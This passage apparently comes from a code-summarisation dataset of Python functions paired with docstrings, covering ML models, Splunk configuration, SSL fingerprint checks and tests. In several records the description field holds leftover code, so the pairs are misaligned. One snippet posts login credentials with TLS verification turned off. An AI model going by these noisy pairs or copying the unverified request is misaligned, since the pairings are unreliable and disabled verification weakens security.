rois_array}\n label = {'label': labels_array,\n 'bbox_target': bbox_targets_array,\n 'bbox_weight': bbox_weights_array}\n\n return data, label\n\n", "nl": "return a dict of multiple images:param roidb: a list of dict, whose length controls batch size['images', 'flipped'] + ['gt_boxes', 'boxes', 'gt_overlap'] => ['bbox_targets']:return: data, label"} {"code": "def on_terminate(self):\n pass\n", "nl": "Callback for handling connection termination.A termination event can either be triggered by the SeedLink serverexplicitly terminating the connection (by sending an ``END`` packet instreaming mode) or by the:meth:`~obspy.clients.seedlink.client.seedlinkconnection.SeedLinkConnection.terminate`method of the:class:`~obspy.clients.seedlink.client.seedlinkconnection.SeedLinkConnection`object being called."} {"code": "def call_on_close(self, func):\n self._on_close.append(func)\n return func\n", "nl": "Adds a function to the internal list of functions that shouldbe called as part of closing down the response. Since 0.7 thisfunction also returns the function that was passed so that thiscan be used as a decorator... versionadded:: 0.6"} {"code": "def instance_id(self, instance_id):\n\n self._instance_id = instance_id\n\n @property", "nl": "Sets the instance_id of this V1alpha1WorkflowCreateRequest.This field is no longer used. # noqa: E501:param instance_id: The instance_id of this V1alpha1WorkflowCreateRequest. # noqa: E501:type: str"} {"code": "def test_parse_output_to_processed_report_big_addresses(self):\n self.needs_file_delete = False\n\n expected_report_info = crash_uploader.CrashReportInfo()\n expected_report_info.product = 'Chrome_Android'\n expected_report_info.version = '59.0.3035.0'\n expected_report_info.testcase_id = 'CF_TESTSUITE_TEST_UPLOAD'\n expected_report_info.bot_id = 'test_upload'\n with open(EXPECTED_PROCESSED_REPORT_PATH, 'rb') as processed_report:\n expected_report_info.serialized_crash_stack_frames = (\n processed_report.read())\n\n report_metadata = expected_report_info.to_report_metadata()\n actual_report_info = crash_uploader.crash_report_info_from_metadata(\n report_metadata)\n\n self._validate_report_fields(expected_report_info, actual_report_info)\n", "nl": "Tests that given output with big addresses prototizes.self.needs_file_delete = Falseactual_report_bytes = crash_uploader.get_symbolized_stack_bytes('reason', '0xfffffffffffffff4', [])actual_report_proto = process_state_pb2.ProcessStateProto()actual_report_proto.ParseFromString(actual_report_bytes)self.assertEqual(actual_report_proto.crash.address, -12)def test_to_report_metadata_and_back(self):Test to report metadata and back."} {"code": "def _print_verbage(self):\n print \"\\nOFDM Demodulator:\"\n print \"FFT length: %3d\" % (config.fft_length)\n print \"Subcarriers: %3d\" % (config.data_subcarriers)\n print \"CP length: %3d\" % (config.cp_length)\n print \"Preamble count: %3d\" % (self._preambles)\n print \"Syms per block: %3d\" % (config.frame_data_blocks)\n self.receiver._print_verbage()\n", "nl": "Prints information about the receive path"} {"code": "def vanilla_lstm(seqs, hidden_size=50):\n pattern_size = seqs.shape[2]\n\n cell = tf.contrib.rnn.BasicLSTMCell(hidden_size)\n\n outputs, _ = tf.nn.dynamic_rnn(cell=cell, dtype=tf.float32, inputs=seqs)\n\n preds = tf.layers.dense(outputs[:, -1], pattern_size)\n\n return preds\n\n", "nl": "A basic LSTM.Args:seqs: [batch_size, total_len, pattern_size] Sequences ofpatterns, where `total_len` is the length of a sequence (including thequery pattern) and `pattern_size` is the dimensionality of each pattern.hidden_size (int): Number of hidden units.Returns:preds: [batch_size, pattern_size] The retrieved pattern forthe degraded query at the end of the sequence."} {"code": "def get_dev_examples(self, data_dir):\n raise NotImplementedError()\n\n @classmethod", "nl": "Gets a collection of `InputExample`s for the dev set.raise NotImplementedError()def get_labels(self):Gets the list of labels for this data set."} {"code": "def resnet34(pretrained=False, **kwargs):\n model = ResNet(BasicBlock, [3, 4, 6, 3], **kwargs)\n if pretrained:\n model.load_state_dict(model_zoo.load_url(model_urls['resnet34']))\n return model\n\n", "nl": "Constructs a ResNet-34 model.Args:pretrained (bool): If True, returns a model pre-trained on ImageNet"} {"code": "def summary(self, picking_id):\n picking = self.env[\"stock.picking\"].browse(picking_id)\n message = self._check_picking_status(picking)\n if message:\n return self._response_for_select_document(message=message)\n return self._response_for_summary(picking)\n", "nl": "Return information for the summary screenTransitions:* summary"} {"code": "def fired_alerts(self):\n return Collection(self, PATH_FIRED_ALERTS, item=AlertGroup)\n\n @property", "nl": "Returns the collection of alerts that have been fired on the Splunkinstance, grouped by saved search.:return: A :class:`Collection` of :class:`AlertGroup` entities."} {"code": "def update_stats(self):\n if self._disabled:\n return\n\n if self._data_iter is None:\n self._data_iter = self._data_loader\n", "nl": "Update the model with precise statistics. Users can manually call this method."} {"code": "def backup(self):\n super(XMLTreeFile, self).backup()\n try:\n ElementTree.ElementTree.__init__(self, element=None,\n file=self.name)\n except expat.ExpatError:\n raise IOError(\"Original XML is corrupt: '%s'\"\n % self.sourcebackupfile.name)\n", "nl": "Overwrite original source from current treeself.write()self.flush()# self is the 'original', so backup/restore logic is reversedsuper(XMLTreeFile, self).restore()def restore(self):Overwrite and reparse current tree from original source"} {"code": "def _render_part(self, name, value):\n\n return self.header_formatter(name, value)\n", "nl": "Overridable helper function to format a single header parameter. Bydefault, this calls ``self.header_formatter``.:param name:The name of the parameter, a string expected to be ASCII only.:param value:The value of the parameter, provided as a unicode string."} {"code": "def is_copy_pad(self):\n Computes the shortest distance between two points.\n Both points are assumed to lie within the domain\n\n Args:\n start: Start position.\n end: End position.\n domain_size: Domain side lengths as vector.\n\n Returns:\n Shortest distance from `start` to `end`.\n \"\"\"", "nl": ":return: True if all pad values are copies of existing values in the tensor to be paddedreturn False@propertydef native_grid_sample_mode(self) -> Union[str, None]:return Nonedef shortest_distance(self, start: Tensor, end: Tensor, domain_size: Tensor):"} {"code": "def _load_references(zettel_content, zettel_path, zettel_directory_path):\n references = []\n if not zettel_content:\n return references\n zettel_filenames = sorted(\n [\n os.path.basename(f)\n for f in glob.glob(os.path.join(zettel_directory_path, \"*[.md|.txt]\"))\n ]\n )\n\n references += _extract_valid_references(\n zettel_content, \"\\[\\[([^\\]\\]]+)\\]\\]\", zettel_path, zettel_filenames\n )\n\n references += _extract_valid_references(\n zettel_content, \"\\[[^\\]]+\\]\\(([^\\)]+)\\)\", zettel_path, zettel_filenames\n )\n\n return references\n\n", "nl": "Parses the content of `zettel_path` for references to other Zettel.:param zettel_content: File content of the Zettel.:param zettel_path: Path to the Zettel we parse for references.:param zettel_directory_path Path to directory where the Zettel are stored.:return List of filenames of referenced Zettel."} {"code": "def connect(self,name):\n dname = Common.LOCAL['tester'][name]['device']\n ip = Common.GLOBAL['device'][dname]['ip']\n desc = Common.GLOBAL['device'][dname]['description']\n type = Common.GLOBAL['device'][dname]['type']\n if 'port' in Common.GLOBAL['device'][dname]: port = Common.GLOBAL['device'][dname]['port']\n\n\n client = {}\n client['type'] = type\n client['ip'] = ip\n client['desc'] = desc\n client['device'] = dname\n\n if type == 'ixnet':\n ix = IxNetwork.IxNet()\n client['port'] = port\n ix.connect(ip,'-port',port,'-version','7.41')\n client['connection'] = ix\n elif type == 'ixload':\n tmp = os.getcwd().split('/')\n win_case = \"%s_%s\" % (tmp[-2],tmp[-1])\n\n tasks = multiprocessing.JoinableQueue()\n results = multiprocessing.Queue()\n ix_process = SubIxLoad.SubIxLoad(win_case, tasks, results)\n client['connection'] = ix_process\n client['tasks'] = tasks\n client['results'] = results\n\n BuiltIn().log_to_console(\"RENAT: created new process that run IxLoad client\")\n ix_process.start()\n tasks.put(['ixload::connect',ip])\n tasks.join()\n results.get()\n elif type == 'avaproxy':\n sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n sock.connect((ip,port))\n auth = Common.GLOBAL['auth']['plain-text'][type]\n if 'license-server' in Common.GLOBAL['device'][dname]:\n license_server = Common.GLOBAL['device'][dname]['license-server']\n res = Common.send(sock,'ava::add_license_server/%s' % license_server)\n session_id = Common.send(sock,'ava::login/%s' % auth['user'])\n client['connection'] = sock\n\n elif type == 'ixbps':\n self._base_url = 'https://%s/api/v1' % ip\n ix = requests.Session()\n auth = Common.GLOBAL['auth']['plain-text'][type]\n headers = {'content-type':'application/json'}\n payload = '{\"username\":\"%s\", \"password\":\"%s\"}' % (auth['user'],auth['pass'])\n result = ix.post( self._base_url + '/auth/session',data=payload,headers=headers,verify=False)\n if result.status_code != requests.codes.ok:\n BuiltIn().log(result.text)\n raise Exception('ERROR: could not login to `%s`' % ip)\n client['connection'] = ix\n else:\n raise Exception(\"ERROR: wrong module type\")\n\n self._cur_name = name\n self._clients[name] = client\n BuiltIn().log(\"Connected to tester `%s`(%s)\" % (self._cur_name,ip))\n\n", "nl": " Connects to the tester ``name``"} {"code": "def add_family(self, family_name, description, inverse):\n\n if name == '' or name is None:\n return 'unknown'\n\n try:\n return self._family_cache.lookup(name)\n except KeyError:\n pass\n\n if name.startswith('copy_of'):\n name = name[8:]\n\n orig_name = name\n\n while name != '' and name not in self.unit_members:\n name = '_'.join(name.split('_')[:-1])\n\n if name == '':\n for itm in self._wildcards:\n if fnmatch(orig_name, itm):\n name = itm\n break\n\n if name == '':\n family_name = 'unknown'\n else:\n family_name = self.unit_members[name]\n\n self._family_cache.add(orig_name, family_name)\n\n return family_name\n", "nl": " Maintains dict of families w/ description & inverse values self.unit_families[family_name] = UnitFamily(family_name,description, inverse)def get_family_name(self, name): Returns family name given a member name "} {"code": "def isdir(path):\n path = _tostr(path, \"join\")\n f = File(path)\n for a in args:\n a = _tostr(a, \"join\")\n g = File(a)\n if g.isAbsolute() or len(f.getPath()) == 0:\n f = g\n else:\n if a == \"\":\n a = os.sep\n f = File(f, a)\n return asPyString(f.getPath())\n", "nl": "Test whether a path is a directorypath = _tostr(path, \"isdir\")return File(sys.getPath(path)).isDirectory()def join(path, *args):Join two or more pathname components, inserting os.sep as needed"} {"code": "def makeURLPath(s):\n if hasattr(URLPath, 'fromBytes') and isinstance(s, bytes):\n return URLPath.fromBytes(s)\n else:\n return URLPath.fromString(s)\n\n", "nl": "Create a URLPath with the given text or bytes."} {"code": "def test_get_blkio_info_empty(self):\n data = self._blkio_bps_empty\n treadmill.cgroups.get_data.side_effect = [data]\n\n data = cgutils.get_blkio_info('mycgrp',\n 'blkio.io_service_bytes')\n treadmill.cgroups.get_data.assert_called_with(\n 'blkio', 'mycgrp', 'blkio.io_service_bytes'\n )\n self.assertEqual(\n data,\n {}\n )\n\n @mock.patch('treadmill.cgroups.get_data', mock.Mock())", "nl": "Test reading of blkio information with empty file."} {"code": "def enumerate_stripped(self, start_at=0):\n idx = start_at\n if start_at:\n lines = self._stripped_lines[start_at:]\n else:\n lines = self._stripped_lines\n for line in lines:\n yield idx, line\n idx += 1\n", "nl": "return an iterator on stripped lines, starting from a given indexif specified, else 0"} {"code": "def update(self, stanza_name, stanza, encrypt_keys=None):\n\n stanza = self._filter_stanza(stanza)\n encrypted_stanza = self._encrypt_stanza(stanza_name,\n stanza,\n encrypt_keys)\n\n try:\n stanza_mgr = self._conf.list(name=stanza_name)[0]\n except binding.HTTPError as e:\n if e.status != 404:\n raise\n\n stanza_mgr = self._conf.create(stanza_name)\n\n stanza_mgr.submit(encrypted_stanza)\n\n @retry(exceptions=[binding.HTTPError])", "nl": "Update stanza.It will try to encrypt the credential automatically fist ifencrypt_keys are not None else keep stanza untouched.:param stanza_name: Stanza name.:type stanza_name: ``string``:param stanza: Stanza to update, like: {'k1': 1,'k2': 2}.:type stanza: ``dict``:param encrypt_keys: Fields name to encrypt.:type encrypt_keys: ``list``Usage::>>> from solnlib import conf_manager>>> cfm = conf_manager.ConfManager(session_key,'Splunk_TA_test')>>> conf = cfm.get_conf('test')>>> conf.update('test_stanza', {'k1': 1, 'k2': 2}, ['k1'])"} {"code": "def start(self):\n self._thread = t = threading.Thread(target=self.serve_forever,\n args=(self.poll_interval,))\n t.setDaemon(True)\n t.start()\n", "nl": "Start the server running on a separate daemon thread."} {"code": "def camera_nodes(self):\n return self._camera_nodes\n\n @property", "nl": "set of :class:`Node` : The nodes containing cameras in the scene."} {"code": "def get_webdriver(chrome_binary_path):\n\n chrome_maj_version, chrome_webdriver = construct_driver_url(chrome_binary_path)\n\n driver_path = f\"{cache_dir}/chromedriver{chrome_maj_version}\"\n\n if exists(driver_path):\n return driver_path\n\n if not chrome_webdriver:\n raise UnknownOSException(\"Unknown Operating system platform\")\n\n global total_size\n", "nl": "Ensure a webdriver is availableIf Not, Download it."} {"code": "def get_display_size(screen_id: int = 0) -> Tuple[int, int]:\n display = pyglet.canvas.Display()\n screen = display.get_screens()[screen_id]\n return screen.width, screen.height\n\n", "nl": "Return the width and height of a monitor.The size of the primary monitor is returned by default.:param int screen_id: The screen number:return: Tuple containing the width and height of the screen:rtype: tuple"} {"code": "def _colorstr(self, args):\n \"\"\"", "nl": "dummy method - to be overwritten by child classwidth = pensizeup = penuppu = penuppd = pendowndown = pendownst = showturtleht = hideturtleclass _TurtleImage(object):Helper class: Datatype to store Turtle attributes"} {"code": "def assert_fingerprint(cert, fingerprint):\n\n fingerprint = fingerprint.replace(':', '').lower()\n digest_length = len(fingerprint)\n hashfunc = HASHFUNC_MAP.get(digest_length)\n if not hashfunc:\n raise SSLError(\n 'Fingerprint of invalid length: {0}'.format(fingerprint))\n\n fingerprint_bytes = unhexlify(fingerprint.encode())\n\n cert_digest = hashfunc(cert).digest()\n\n if not _const_compare_digest(cert_digest, fingerprint_bytes):\n raise SSLError('Fingerprints did not match. Expected \"{0}\", got \"{1}\".'\n .format(fingerprint, hexlify(cert_digest)))\n\n", "nl": "Checks if given fingerprint matches the supplied certificate.:param cert:Certificate as bytes object.:param fingerprint:Fingerprint as string of hexdigits, can be interspersed by colons."} {"code": "def test_success(self):\n\n class Handler(DummyIQHandler):", "nl": "Test response when the request is handled successfully."} {"code": "def test_project_creation(self):\n blogpost = BlogpostFactory.create()\n update_feed = get_update_feed()\n err_msg = \"It should be the blog post\"\n assert update_feed[0]['id'] == blogpost.project_id, err_msg\n assert update_feed[0]['name'] == blogpost.project.name, err_msg\n assert update_feed[0]['short_name'] == blogpost.project.short_name, err_msg\n err_msg = \"The update action should be Project\"\n assert update_feed[0]['action_updated'] == 'Blog', err_msg\n\n @with_context", "nl": "Test ACTIVITY FEED works for project creation.project = ProjectFactory.create()update_feed = get_update_feed()err_msg = \"It should be the same project\"assert update_feed[0]['id'] == project.id, err_msgassert update_feed[0]['name'] == project.name, err_msgassert update_feed[0]['short_name'] == project.short_name, err_msg# assert update_feed[0].get('info') is None, err_msgerr_msg = \"The update action should be Project\"assert update_feed[0]['action_updated'] == 'Project', err_msg@with_contextdef test_blogpost_creation(self):Test ACTIVITY FEED works for blog post creation."} {"code": "def do_key_rollover(self, jwks, kid_template):\n kb = KeyBundle()\n kb.do_keys(jwks[\"keys\"])\n\n for k in kb.keys():\n if not k.kid:\n k.add_kid()\n self.kid[k.use][k.kty] = k.kid\n\n for _kb in self.keyjar.issuer_keys[\"\"]:\n for key in _kb.keys():\n if key.kty == k.kty and key.use == k.use:\n if k.kty == \"EC\":\n if key.crv == k.crv:\n key.inactive_since = time.time()\n else:\n key.inactive_since = time.time()\n\n self.keyjar.add_kb(\"\", kb)\n\n if self.jwks_name:\n dump_jwks(self.keyjar[\"\"], self.jwks_name)\n", "nl": "Handle key roll-over.Import new keys and inactivating the ones in the keyjar that are of the same type and usage.:param jwks: A JWKS:param kid_template: Key ID template"} {"code": "def get_value(self, groups=None, states=None):\n if states is not None:\n (target_class_freq_by_image_total,\n target_class_freq_by_image_mask,\n pred_class_freq_by_image_mask,\n activation_pairs) = states\n else:\n target_class_freq_by_image_total = self.target_class_freq_by_image_total\n target_class_freq_by_image_mask = self.target_class_freq_by_image_mask\n pred_class_freq_by_image_mask = self.pred_class_freq_by_image_mask\n activation_pairs = self.individual_values\n\n target_class_freq_by_image_total = np.concatenate(target_class_freq_by_image_total, axis=0)\n target_class_freq_by_image_mask = np.concatenate(target_class_freq_by_image_mask, axis=0)\n pred_class_freq_by_image_mask = np.concatenate(pred_class_freq_by_image_mask, axis=0)\n activations_pred, activations_target = zip(*activation_pairs)\n activations_pred = np.concatenate(activations_pred, axis=0)\n activations_target = np.concatenate(activations_target, axis=0)\n\n total_results = {\n 'mean': calculate_frechet_distance(activations_pred, activations_target, eps=self.eps),\n 'std': 0,\n **self.distribute_fid_to_classes(target_class_freq_by_image_mask, activations_pred, activations_target)\n }\n\n if groups is None:\n return total_results, None\n\n group_results = dict()\n grouping = get_groupings(groups)\n for label, index in grouping.items():\n if len(index) > 1:\n group_activations_pred = activations_pred[index]\n group_activations_target = activations_target[index]\n group_class_freq = target_class_freq_by_image_mask[index]\n group_results[label] = {\n 'mean': calculate_frechet_distance(group_activations_pred, group_activations_target, eps=self.eps),\n 'std': 0,\n **self.distribute_fid_to_classes(group_class_freq,\n group_activations_pred,\n group_activations_target)\n }\n else:\n group_results[label] = dict(mean=float('nan'), std=0)\n return total_results, group_results\n", "nl": ":param groups::return:total_results: dict of kind {'mean': score mean, 'std': score std}group_results: None, if groups is None;else dict {group_idx: {'mean': score mean among group, 'std': score std among group}}"} {"code": "def get_command(self, name):\n return self.type_name_map[name]\n\n @property", "nl": "get command token corresponding to `name`return self.command_name_map[name]def get_type(self, name):get type token corresponding to `name`"} {"code": "def log_request(self, code='-', size='-'):\n\n self._logger.warning('%s - %s',\n self.address_string(),\n args[0] % args[1:])\n", "nl": "Override BaseHTTPServer.log_request.self._logger.info('\"%s\" %s %s',self.requestline, str(code), str(size))def log_error(self, *args):Override BaseHTTPServer.log_error."} {"code": "def log_message(self, msg, *args):\n refactored file.\"\"\"", "nl": "Hook to log a message.if args:msg = msg % argsself.logger.info(msg)def log_debug(self, msg, *args):if args:msg = msg % argsself.logger.debug(msg)def print_output(self, old_text, new_text, filename, equal):Called with the old version, new version, and filename of a"} {"code": "def _late_init(self, **kwargs):\n if self._read_task:\n self._read_task.cancel()\n self._read_task = None\n", "nl": "Initialise this when other platforms are already loaded.del kwargsself.config = self.machine.config_validator.validate_config(\"spi_bit_bang\",self.machine.config.get('spi_bit_bang', {}))self._read_task = self.machine.clock.loop.create_task(self._run())self._read_task.add_done_callback(Util.raise_exceptions)def stop(self):Stop platform."} {"code": "def _split_masks(self, instance_img, id_to_convert=None):\n masks = []\n\n instance_ids = np.unique(instance_img)\n background_id_index = np.where(instance_ids == 0)[0]\n instance_ids = np.delete(instance_ids, background_id_index)\n\n if id_to_convert is None:\n for i in instance_ids:\n masks.append((instance_img == i).astype(np.uint8))\n else:\n for i in instance_ids:\n if i in id_to_convert:\n masks.append((instance_img == i).astype(np.uint8))\n\n return masks, len(masks)\n", "nl": "Split a single mixed mask into several class-specified masks.Input:instance_img -- An index map with shape [h, w]id_to_convert -- A list of instance part IDs that suppose toextract from instance_img, if *None*, extract all theID maps except for background.Return:masks -- A collection of masks with shape [num_instance, h, w]"} {"code": "def session(request, db):\n with FlaskClient(flask_app,\n use_cookies=True,\n response_wrapper=TestingResponse) as c:\n return c\n\n\n@pytest.fixture", "nl": "Create the transaction for each function so we don't rebuild.connection = db.engine.connect()transaction = connection.begin()options = {'bind': connection}session = db.create_scoped_session(options=options)yield sessiontransaction.rollback()connection.close()session.remove()class TestingResponse(Response):def validate(self, status_code, error=None):print(self.data)assert self.status_code == status_codeassert self.headers['Content-Type'] == 'application/vnd.api+json'if status_code != 204:self.json_data = json.loads(self.data.decode())if error:assert self.status_code == error.status_codeassert self.json_data['errors'][0]['code'] == error.codeassert self.json_data['errors'][0]['status'] == error.status_codereturn self@pytest.fixturedef client(flask_app):Set up the testing client."} {"code": "def set_time(self, time_stamp: float) -> float:\n if self._last_ts < 0:\n delta_t = 0.0\n self._last_ts = time_stamp\n else:\n delta_t = time_stamp - self._last_ts\n self.cumulative_time += delta_t\n self._last_ts = time_stamp\n return delta_t\n", "nl": "Set the clock manually and do not call scheduled functions. Returnthe difference in time from the last time clock was updated.Parameters:time_stamp: This will become the new value of the clock. Setting the clockto negative values will have undefined results.Returns:The number of time units since the last update, or 0.0 if thiswas the first update."} {"code": "def main(argv=None):\n parser = argparse.ArgumentParser(\n prog=\"pelix.shell.console\",\n parents=[make_common_parser()],\n description=\"Pelix Shell Console\",\n )\n\n args = parser.parse_args(argv)\n\n init = handle_common_arguments(args)\n\n bundles = [\n \"pelix.ipopo.core\",\n \"pelix.shell.core\",\n \"pelix.shell.ipopo\",\n \"pelix.shell.completion.pelix\",\n \"pelix.shell.completion.ipopo\",\n \"pelix.shell.console\",\n ]\n bundles.extend(init.bundles)\n\n framework = pelix.create_framework(\n remove_duplicates(bundles), init.properties\n )\n framework.start()\n\n init.instantiate_components(framework.get_bundle_context())\n\n try:\n framework.wait_for_stop()\n except KeyboardInterrupt:\n framework.stop()\n\n\nif __name__ == \"__main__\":\n sys.exit(main() or 0)", "nl": "Entry point:param argv: Script arguments (None for sys.argv):return: An exit code or None"} {"code": "def delete_user_contact_list(self, id, contact_list_id, **data):\n\n return self.delete(\"/users/{0}/contact_lists/{1}/\".format(id,contact_list_id), data=data)\n", "nl": "DELETE /users/:id/contact_lists/:contact_list_id/Deletes the contact list. Returns ``{\"deleted\": true}``."} {"code": "def _write_segment(self, seg_data):\n out = seg_data.format(self.seg_term, self.ele_term, self.subele_term) + self.eol\n self.fd_out.write(out)\n", "nl": "Write the given segment, using the current delimiters and end of line@param seg_data: segment to write@type seg_data: L{segment}"} {"code": "def fetch_resources(uri, rel):\n if uri.startswith('http://') or uri.startswith('https://'):\n return uri\n if uri.startswith(settings.MEDIA_URL):\n path = os.path.join(settings.MEDIA_ROOT,\n uri.replace(settings.MEDIA_URL, \"\"))\n elif uri.startswith(settings.STATIC_URL):\n path = os.path.join(settings.STATIC_ROOT,\n uri.replace(settings.STATIC_URL, \"\"))\n if not os.path.exists(path):\n for d in settings.STATICFILES_DIRS:\n path = os.path.join(d, uri.replace(settings.STATIC_URL, \"\"))\n if os.path.exists(path):\n break\n else:\n raise UnsupportedMediaPathException(\n 'media urls must start with %s or %s' % (\n settings.MEDIA_ROOT, settings.STATIC_ROOT))\n return path\n\n", "nl": "Callback to allow xhtml2pdf/reportlab to retrieve Images,Stylesheets, etc.`uri` is the href attribute from the html link element.`rel` gives a relative path, but it's not used here."} {"code": "def _append_request_id(self, request):\n if request.request_id not in self._request_id_collection:\n self._request_id_collection[request.request_id] = []\n self._request_id_collection[request.request_id].append(request)\n", "nl": " Helper function that appends requests to the request_id collection.The request ID collection groups Requests by their shared request IDs.These request IDs are not unique among Request objects, but can be usedto identify requests with matching endpoints.@param request: The request to append@type request: Request@return: None@rtype : None"} {"code": "def generate_labels(wavelet_coeffs):\n pixel_count = np.prod(wavelet_coeffs[0][0].shape)\n total_len = len(wavelet_coeffs) * 4 * pixel_count\n\n labels = np.zeros(total_len).astype('str')\n cfs = ['H', 'V', 'D']\n\n for lev in range(len(wavelet_coeffs)):\n labels[4 * lev * pixel_count:(4 * lev + 1) * pixel_count] = \\\n np.array(['cA%d_%d' % (lev, i) for i in range(pixel_count)],\n dtype='str')\n for det in range(3):\n start = (4 * lev + det + 1) * pixel_count\n labels[start: start + pixel_count] = \\\n ['c%s%d_%d' % (cfs[det], lev, i) for i in range(pixel_count)]\n return labels\n\n", "nl": "Because the number of features may not be known till runtime, we canonly create the labels of these features at runtime."} {"code": "def change_version(new_version):\n global __model\n __model = _ITU618(new_version)\n\n", "nl": "Change the version of the ITU-R P.618 recommendation currently being used.This function changes the model used for the ITU-R P.618 recommendationto a different version.Parameters----------new_version : intNumber of the version to use.Valid values are:* 13: Activates recommendation ITU-R P.618-13 (12/17) (Current version)* 12: Activates recommendation ITU-R P.618-12 (07/15) (Superseded)"} {"code": "def construct_entry_with_release(focus, issues, manager, log, releases, rest):\n log(\"release for line %r\" % focus.minor)\n explicit = None\n if rest[0].children:\n explicit = [x.strip() for x in rest[0][0].split(\",\")]\n if explicit:\n log(\"Explicit issues requested: %r\" % (explicit,))\n missing = [i for i in explicit if i not in issues]\n if missing:\n raise ValueError(\n \"Couldn't find issue(s)\n \", \".join(missing)\n )\n )\n entries = []\n for i in explicit:\n for flattened_issue_item in itertools.chain(issues[i]):\n entries.append(flattened_issue_item)\n log(\"entries in this release: %r\" % (entries,))\n releases.append({\"obj\": focus, \"entries\": entries})\n for obj in entries:\n if obj.type == \"bug\":\n if obj.major:\n log(\"Removing\n manager[focus.family][\"unreleased_feature\"].remove(obj)\n else:\n if obj in manager[focus.family][\"unreleased_bugfix\"]:\n log(\"Removing\n manager[focus.family][\"unreleased_bugfix\"].remove(obj)\n if obj in manager[focus.family][focus.minor]:\n log(\"Removing\n manager[focus.family][focus.minor].remove(obj)\n else:\n log(\"Removing\n manager[focus.family][\"unreleased_feature\"].remove(obj)\n if obj in manager[focus.family].get(focus.minor, []):\n manager[focus.family][focus.minor].remove(obj)\n\n else:\n if manager.unstable_prehistory:\n log(\"in unstable prehistory, dumping 'unreleased'\")\n releases.append(\n {\n \"obj\": focus,\n \"entries\": manager[0][\"unreleased\"][:],\n }\n )\n manager[0][\"unreleased\"] = []\n if focus.family != 0:\n manager[focus.family][focus.minor] = []\n else:\n if focus.minor not in manager[focus.family]:\n log(\"not seen prior, making feature release & bugfix bucket\")\n manager[focus.family][focus.minor] = []\n releases.append(\n {\n \"obj\": focus,\n \"entries\": manager[focus.family][\"unreleased_feature\"][\n :\n ],\n }\n )\n manager[focus.family][\"unreleased_feature\"] = []\n\n else:\n log(\"pre-existing, making bugfix release\")\n entries = manager[focus.family][focus.minor][:]\n releases.append({\"obj\": focus, \"entries\": entries})\n manager[focus.family][focus.minor] = []\n for x in entries:\n if x in manager[focus.family][\"unreleased_bugfix\"]:\n manager[focus.family][\"unreleased_bugfix\"].remove(x)\n\n", "nl": "Releases 'eat' the entries in their line's list and get added to thefinal data structure. They also inform new release-line 'buffers'.Release lines, once the release obj is removed, should be empty or acomma-separated list of issue numbers."} {"code": "def get_project(self, name):\n if self._cache is None:\n result = self._get_project(name)\n elif name in self._cache:\n result = self._cache[name]\n else:\n self.clear_errors()\n result = self._get_project(name)\n self._cache[name] = result\n return result\n", "nl": "For a given project, get a dictionary mapping available versions to Distributioninstances.This calls _get_project to do all the work, and just implements a caching layer on top."} {"code": "def urlunparse(components):\n scheme, netloc, url, params, query, fragment, _coerce_result = (\n _coerce_args(*components))\n if params:\n url = \"%s;%s\" % (url, params)\n return _coerce_result(urlunsplit((scheme, netloc, url, query, fragment)))\n", "nl": "Put a parsed URL back together again. This may result in aslightly different, but equivalent URL, if the URL that was parsedoriginally had redundant delimiters, e.g. a ? with an empty query(the draft states that these are equivalent)."} {"code": "def predict(self, X, **kwargs):\n super().__init__(*args, **kwargs)\n self.base_model = LogisticRegression\n self.param_grid = {\n \"solver\": [\"lbfgs\"],\n \"multi_class\": [\"multinomial\"],\n \"penalty\": [\"l2\"],\n \"max_iter\": [500],\n \"C\": [0.01, 0.1, 1.0, 10.0, 100.0, 1000.0],\n }\n\n\n@Registry.register_experiment(\n ModeKeys.CLASSIFY, requirements=[(\"Featurizer\", \"PlainTextFeaturizer\")]\n)\nclass TfidfKNN(TfidfModelGridSearch):", "nl": "Predict results on test set based on current internal model.X_p = self.tfidf.transform(X)return super().predict(X_p)class TfidfModelGridSearch(TfidfModel, GridSearch):pass@Registry.register_experiment(ModeKeys.CLASSIFY, requirements=[(\"Featurizer\", \"PlainTextFeaturizer\")])class TfidfLogisticRegression(TfidfModelGridSearch):def __init__(self, *args, **kwargs):Initialize internal classifier."} {"code": "def test_extract(self):\n fields=(ptah.form.TextField('firstname', missing='name'),\n ptah.form.TextField('lastname'))\n\n field = ptah.form.CompositeField('test', fields=fields)\n\n widget = field.bind(self.request, '', None, {})\n\n result = widget.extract()\n self.assertEqual({'lastname': fields[1].missing,\n 'firstname': fields[0].missing}, result)\n", "nl": " Extract form data field = ptah.form.CompositeField('test', fields=(ptah.form.TextField('firstname'),ptah.form.TextField('lastname')))widget = field.bind(self.request, '', None,{'test.lastname': ptah.form.null,'test.firstname':'Nikolay'})result = widget.extract()self.assertEqual({'lastname': '', 'firstname': 'Nikolay'}, result)def test_extract_missing(self): Extract returns missing "} {"code": "def test_count_new_units(self):\n self.assertIn(self.QUEUE_INPUT_LINK_FILENAME, os.listdir(self.QUEUE_DIR))\n self.afl_output.remove_hang_in_queue(self.queue_input_link_path)\n self.assertNotIn(self.QUEUE_INPUT_LINK_FILENAME, os.listdir(self.QUEUE_DIR))\n\n\nclass SetSanitizerOptionsTest(LauncherTestBase):\n \"\"\"Test that we set the sanitzer options correctly. This is very important\n\n DUMMY_OPTION = 'dummy_option=dummy_value'\n REQUIRED_ASAN_OPTIONS = ['symbolize=0', 'abort_on_error=1']\n REQUIRED_MSAN_OPTIONS = ['symbolize=0', 'exit_code=86']\n", "nl": "Test that count_new_units works as expected.self.afl_output.destination_directory_inodes = set()# Test that it works as intended.self.assertEqual(self.afl_output.count_new_units(self.afl_output.queue), 1)# Test that hard links aren't counted as new units because they are copies# of files from the original output directory.self.afl_output.destination_directory_inodes = self.input_directory_inodesself.assertEqual(self.afl_output.count_new_units(self.afl_output.queue), 1)# Test that copies aren't counted as new units.self.fs.RemoveObject(self.queue_copied_testcase_path)self.assertEqual(self.afl_output.count_new_units(self.afl_output.queue), 1)# Test that non-testcases aren't counted as new units.self._create_file('README.txt', directory=self.afl_output.queue)self.assertEqual(self.afl_output.count_new_units(self.afl_output.queue), 1)def test_remove_hang_in_queue(self):Test that remove_hang_in_queue works as expected."} {"code": "def restart(self):\n cfg.CONF.reload_config_files()\n self.services.restart()\n\n\nclass SignalExit(SystemExit):", "nl": "Reload config files and restart service.:returns: None"} {"code": "def test_app_setup_throws_unexpected_error(self, logger):\n with self.assertRaises(KeyError):\n get_app(conf)\n assert not logger.exception.called\n\n\nclass TestAmqp(TestCase):\n\n @patch('tasks.celery.breakers.celery', MagicMock())", "nl": "Ensure that if breaker throws an unexpected error, it is notsuppressed."} {"code": "def read_unsigned_short(self):\n packet\"\"\"", "nl": 